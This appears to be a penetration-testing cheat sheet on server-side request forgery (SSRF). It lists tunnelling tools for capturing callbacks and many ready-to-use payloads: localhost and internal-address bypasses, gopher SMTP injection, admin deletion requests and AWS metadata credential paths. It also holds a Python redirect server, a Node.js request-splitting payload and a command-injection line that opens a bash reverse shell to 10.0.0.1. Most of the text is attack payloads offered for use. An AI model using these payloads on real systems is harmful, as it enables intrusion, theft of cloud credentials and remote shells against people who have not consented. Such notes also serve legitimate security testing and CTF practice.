SSRF (Server-Side Request Forgery)
SSRF is a type of exploit where an attacker abuses the functionality of a server causing it to access or manipulate information in the realm of that server that would otherwise not be directly accessibleto the attacker. SSRF is an attack against a server.
SSRF Capture Tools
If we want to capture incoming requests from target website/server, there is a lot of open-source tools available.
Ngrok
To start ngrok server, run the following.
ngrok http 80
# Force http scheme (not https)
ngrok http --scheme=http 8090 --host-header=localhost:8090
Then start your local web server for fetching requests forwarded from the ngrok server.
After starting ngrok and local web server, we can use the URL such as https://abcd-12-3-45-678.ngrok-free.app.
Localhost.run
As mentioned the official documentation,
# If you don't already have an SSH key, generate it first.
ssh-keygen -t rsa
# Port forwarding to your local 8080 port.
ssh -R 80:localhost:8080 localhost.run
After running the command above, copy generated URL such as abcdef123456789.lhr.life.
Requests sent to this URL will be forwarded to your localhost:8080.
LocalXpose
LocalXpose is a reverse proxy that enables you to expose your localhost to the internet. To use it, we need to sign up and Access Token.
- Login using Access Token.
- Open browser to access GUI version.
Pastebin
After writing the content in there, we can easily use the raw page such as https://pastebin.com/raw/abcdefgh.
Interactsh
Other Tools
Local Web Server
Also we can simply open local web server if local machine accepts external requests.
HTTP (http://)
We may be able to use another server in the target machine.
For example, pass the localhost URL to the GET parameters.
Also These are available in POST params.
# Localhost
?url=http://localhost/
?url=http://127.0.0.1/
?url=http://127.0.0.1:80/
?url=http://127.0.0.1:3000/
?url=http://127.0.0.1:8000/
?url=http://127.0.0.1:8080/
?url=http://0/
?url=http://2130706433/
?url=http://017700000001/
?url=http://127.1/
?url=http://127.0.0.1/test.php%00
?url=http://127.0.0.1/test.php\x00
# Backend URL (e.g. 192.168.0.x)
?url=http://192.168.0.23/
?url=http://192.168.0.23:80/
?url=http://192.168.0.23:3000/
?url=http://192.168.0.23:8000/
?url=http://192.168.0.23:8080/
# Server status
?url=http://localhost/server-status
# At sign
?url=test@sub.example.com/index.php
Local Port Enumeration
We can find which port is opening by fuzzing port number.
Gopher (gopher://)
We may be able to use gopher:// scheme.
Automation
We can use Gopherus to create a payload automatically.
SMTP
At first, we need to prepare a payload for sending message to victim user.
gopher://127.0.0.1:25/_MAIL FROM:<john@example.com>
RCPT TO:<mike@example.com>
DATA
From:john@gofer.htb
Subject:Test
Hi, I'm not hacker.
.
The payload above can be URL encoded with tools such as CyberChef. Then the encoded payload is as follow.
gopher://127.0.0.1:25/_MAIL%20FROM:%3Cjohn@example.com%3E%0ARCPT%20TO:%3Cmike@example.com%3E%0ADATA%0AFrom:john@gofer.htb%0ASubject:Test%0AHi,%20I'm%20not%20hacker.%0A.
We can use it to SSRF.
Listen HTTP Request
If the website is vulnerable to SSRF, we can fetch sensitive information in HTTP request by sniffing.
First off, start a listener in local machine.
Then send request that is affected by SSRF.
See the HTTP request in local machine.
We might be able to fetch the sensitive data such as API key, Cookie, etc.
OS Command Injection
?url=http://127.0.0.1:3000/test;whoami
?url=http://127.0.0.1:3000/test;ping+-c+1+10.0.0.1
# Reverse Shell
?url=http://127.0.0.1:3000/;bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
Admin Operations
We may be able to operate significant stuff as the admin user via local server.
# Localhost
?url=http://localhost/admin
?url=http://localhost/admin/delete?username=john
?url=http://127.1/%25%36%31dmin
# Backend URL (e.g. 192.168.0.x)
?url=http://192.168.0.23/admin
?url=http://192.168.0.23/admin/delete?username=john
Whitelisted URL Bypass
If the target website allows only the whitelisted URL, we can use them.
Assume only "example.com" is allowed by the target website.
Open Redirect
AWS Instances
?url=http://169.254.169.254/latest/dynamic/instance-identity/
?url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Hostname Bypass
1. Add Target Domain to /etc/hosts in Local Machine
Restart the hostname service to apply the configuration imediately.
2. Access to the Domain We Specified**
API Request
We might be able to get information from an API endpoint that is not accessible normally.
Reveal Filtered Websites via Monitoring Tools (Webhook)
Some web apps may have monitoring tools that check the health of external websites.
You may be able to reveal hidden contents of the target via the monitor.
First off, create a redirect server using Python. Here it’s named “redirect.py”.
#!/usr/bin/python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[1])
self.end_headers()
HTTPServer(("0.0.0.0", 8000), Redirect).serve_forever()
After creating, run the following command.
Assume that the filtered port is 3000 (nmap will reveal it).
And start listener for receiving the POST request of the webhook from the target website.
Now set the configuration of the webhook. For example:
You can see the contents of the filtered app.
Request Splitting
Reference: https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
It is the vulnerability of the Node.js http.get module, which allows attacker to insert HTTP headers and bodies by splitting request.
First off, prepare HTTP headers and body as below:
Then manipulate it for sending to target.
# \u0120: space
# \u010D: \r
# \u010A: \n
?url=http://example.com\u0120HTTP/1.1\u010D\u010APOST\u0120/update\u0120HTTP/1.1\u010D\u010AContent-Length:\u012028\u010D\u010A\u010D\u010Ausername=admin&password=pass\u010D\u010A\u010D\u010AGET\u0120